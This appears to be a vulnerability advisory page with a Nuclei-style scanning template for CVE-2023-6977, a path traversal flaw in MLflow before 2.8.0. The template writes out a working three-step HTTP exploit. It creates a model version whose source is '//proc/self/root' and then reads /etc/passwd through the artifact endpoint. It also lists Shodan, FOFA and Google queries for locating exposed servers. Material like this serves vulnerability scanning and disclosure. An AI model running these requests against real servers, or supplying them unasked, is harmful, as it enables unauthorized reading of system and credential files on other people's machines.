Mlflow before 2.8.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2023-6977
info:
name: Mlflow <2.8.0 - Local File Inclusion
author: gy741
severity: high
description: |
Mlflow before 2.8.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation could allow an attacker to read sensitive files on the server.
remediation: |
Upgrade Mlflow to version 2.9.2 or later to mitigate the vulnerability.
reference:
- https://huntr.com/bounties/fe53bf71-3687-4711-90df-c26172880aaf
- https://nvd.nist.gov/vuln/detail/CVE-2023-6977
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-6977
cwe-id: CWE-29
epss-score: 0.86178
epss-percentile: 0.9936
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: lfprojects
product: mlflow
shodan-query: http.title:"mlflow"
fofa-query:
- title="mlflow"
- app="mlflow"
google-query: intitle:"mlflow"
tags: cve,cve2023,mlflow,oss,lfi,intrusive,lfprojects
http:
- raw:
- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
{"name":"{{randstr}}"}
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
{"name":"{{randstr}}","source":"//proc/self/root"}
- |
GET /model-versions/get-artifact?name={{randstr}}&path=etc%2Fpasswd&version=1 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: word
part: header_3
words:
- "filename=passwd"
- "application/octet-stream"
condition: and
- type: status
status:
- 200
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